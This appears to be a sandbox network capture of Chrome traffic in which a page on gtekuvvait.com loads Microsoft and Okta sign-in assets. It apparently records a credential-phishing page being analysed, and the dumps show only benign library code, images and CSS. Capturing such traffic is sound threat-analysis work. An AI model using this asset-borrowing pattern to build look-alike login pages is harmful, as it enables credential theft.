h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 72 2c 6e 3b 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;fun
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6e 2c 69 3d 32 3b 66 6f 72 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 3d 53 79 6d 62 6f 6c 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 2c 6e 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 3b 69 2d 2d 3b 29 7b 69 66 28 72 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 3b 69 66 28 6e 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 6e 5d 29 29 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 74 2e 63 61 6c 6c 28 65 29 29 3b 72 3d 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 6e 3d 22 40 40 69 74 65 72 61 74 6f 72 22 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 20 69 73 20 6e 6f 74 20 61 73 Data Ascii: n(e){var t,r,n,i=2;for("undefined"!=typeof Symbol&&(r=Symbol.asyncIterator,n=Symbol.iterator);i--;){if(r&&null!=(t=e[r]))return t.call(e);if(n&&null!=(t=e[n]))return new o(t.call(e));r="@@asyncIterator",n="@@iterator"}throw new TypeError("Object is not as
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 70 65 72 74 79 28 65 2c 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 72 2c 74 29 29 7d 29 29 7d 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 76 61 72 20 65 2c 74 3d 7b 7d 2c 72 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 5b 74 5d 3d 72 2e 76 61 6c 75 65 7d 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 2c 61 3d 69 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 Data Ascii: perty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function s(){s=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,o=Object.defineProperty\|\|function(e,t,r){e[t]=r.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator\|\|"@@
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 63 2e 76 61 6c 75 65 3d 65 2c 61 28 63 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 28 22 74 68 72 6f 77 22 2c 65 2c 61 2c 75 29 7d 29 29 7d 75 28 73 2e 61 72 67 29 7d 76 61 72 20 69 3b 6f 28 74 68 69 73 2c 22 5f 69 6e 76 6f 6b 65 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 72 28 65 2c 6e 2c 74 2c 6f 29 7d 29 29 7d 72 65 74 75 72 6e 20 69 3d 69 3f 69 2e 74 68 65 6e 28 6f 2c 6f 29 3a 6f 28 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 2c 72 2c 6e 29 7b 76 61 72 20 6f 3d 70 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 2c 61 29 7b 69 66 28 Data Ascii: nction(e){c.value=e,a(c)}),(function(e){return r("throw",e,a,u)}))}u(s.arg)}var i;o(this,"_invoke",{value:function(e,n){function o(){return new t((function(t,o){r(e,n,t,o)}))}return i=i?i.then(o,o):o()}})}function T(t,r,n){var o=p;return function(i,a){if(
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 2c 72 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 79 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 3d 7b 74 72 79 4c 6f 63 3a 65 5b 30 5d 7d 3b 31 20 69 6e 20 65 26 26 28 74 2e 63 61 74 63 68 4c 6f 63 3d 65 5b 31 5d 29 2c 32 20 69 6e 20 65 26 26 28 74 2e 66 69 6e 61 6c 6c 79 4c 6f 63 3d 65 5b 32 5d 2c 74 2e 61 66 74 65 72 4c 6f 63 3d 65 5b 33 5d 29 2c 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 70 75 73 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 7c 7c 7b 7d 3b 74 2e 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 2c 64 65 6c 65 74 65 20 74 2e 61 72 67 2c 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3d 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: is not an object"),r.delegate=null,y)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function j(e){var t=e.completion\|\|{};t.type="normal",delete t.arg,e.completion=t}function
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 2c 22 47 65 6e 65 72 61 74 6f 72 22 29 2c 66 28 53 2c 61 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 29 2c 66 28 53 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 22 7d 29 29 2c 74 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 65 29 2c 72 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 72 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 72 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 3b 72 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 6e 3d 72 2e 70 6f 70 28 29 3b 69 66 28 6e 20 69 6e 20 74 29 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 Data Ascii: ,"Generator"),f(S,a,(function(){return this})),f(S,"toString",(function(){return"[object Generator]"})),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 68 2d 31 3b 72 3e 3d 30 3b 2d 2d 72 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 72 5d 3b 69 66 28 6f 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 26 26 6e 2e 63 61 6c 6c 28 6f 2c 22 66 69 6e 61 6c 6c 79 4c 6f 63 22 29 26 26 74 68 69 73 2e 70 72 65 76 3c 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7b 76 61 72 20 69 3d 6f 3b 62 72 65 61 6b 7d 7d 69 26 26 28 22 62 72 65 61 6b 22 3d 3d 3d 65 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 65 29 26 26 69 2e 74 72 79 4c 6f 63 3c 3d 74 26 26 74 3c 3d 69 2e 66 69 6e 61 6c 6c 79 4c 6f 63 26 26 28 69 3d 6e 75 6c 6c 29 3b 76 61 72 20 61 3d 69 3f 69 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3a 7b 7d 3b 72 65 74 75 72 6e 20 61 2e 74 79 70 65 3d 65 2c 61 2e 61 72 67 3d 74 2c 69 3f 28 74 68 69 73 2e Data Ascii: h-1;r>=0;--r){var o=this.tryEntries[r];if(o.tryLoc<=this.prev&&n.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===e\|\|"continue"===e)&&i.tryLoc<=t&&t<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=e,a.arg=t,i?(this.
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 72 69 6e 67 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 72 65 74 75 72 6e 20 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 66 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 72 65 74 Data Ascii: ring(t)}function f(e){return f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},f(e)}function l(t){ret
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 64 6f 6e 65 29 26 26 28 75 2e 70 75 73 68 28 6e 2e 76 61 6c 75 65 29 2c 75 2e 6c 65 6e 67 74 68 21 3d 3d 74 29 3b 73 3d 21 30 29 3b 7d 63 61 74 63 68 28 65 29 7b 63 3d 21 30 2c 6f 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 69 66 28 21 73 26 26 6e 75 6c 6c 21 3d 72 2e 72 65 74 75 72 6e 26 26 28 61 3d 72 2e 72 65 74 75 72 6e 28 29 2c 4f 62 6a 65 63 74 28 61 29 21 3d 3d 61 29 29 72 65 74 75 72 6e 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 63 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 75 7d 7d 28 65 2c 74 29 7c 7c 4f 28 65 2c 74 29 7c 7c 78 28 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 53 28 65 29 7d 28 65 29 7c 7c Data Ascii: done)&&(u.push(n.value),u.length!==t);s=!0);}catch(e){c=!0,o=e}finally{try{if(!s&&null!=r.return&&(a=r.return(),Object(a)!==a))return}finally{if(c)throw o}}return u}}(e,t)\|\|O(e,t)\|\|x()}function g(e){return function(e){if(Array.isArray(e))return S(e)}(e)\|\|
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 65 78 74 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 74 68 72 6f 77 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 72 65 74 75 72 6e 22 2c 65 29 7d 3b 76 61 72 20 54 2c 6b 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 41 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6a 3d 28 54 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 63 61 6c 6c 28 65 29 3b 72 65 74 75 72 6e 20 54 5b Data Ascii: ext",e)},e.prototype.throw=function(e){return this._invoke("throw",e)},e.prototype.return=function(e){return this._invoke("return",e)};var T,k=Object.prototype.toString,A=Object.getPrototypeOf,j=(T=Object.create(null),function(e){var t=k.call(e);return T[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49768	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	648	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:27 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 59ccf5e6-501e-0076-6aec-13491e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130827Z-15767c5fc55kg97hfq5uqyxxaw000000080g00000000gc7p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-01 13:08:27 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49770	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	652	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:27 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 34b277ac-c01e-0021-01a4-139092000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130827Z-15767c5fc55fdfx81a30vtr1fw00000008fg000000003rr9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-01 13:08:27 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49767	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	651	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:27 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: f7b54fa2-e01e-0019-3603-143452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130827Z-15767c5fc554wklc0x4mc5pq0w00000008c000000000ehh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-01 13:08:27 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49771	13.33.187.96	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	597	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Mon, 23 Sep 2024 22:34:57 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Tue, 23 Sep 2025 22:34:57 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ad82d8a80f2c6497aad660c7722475c0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: DQT996ntl0qAuSXZwzmstjpDytJ_V8-34sZCV5nV4akTiOnG4S0JMw== Age: 657210
2024-10-01 13:08:27 UTC	15615	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
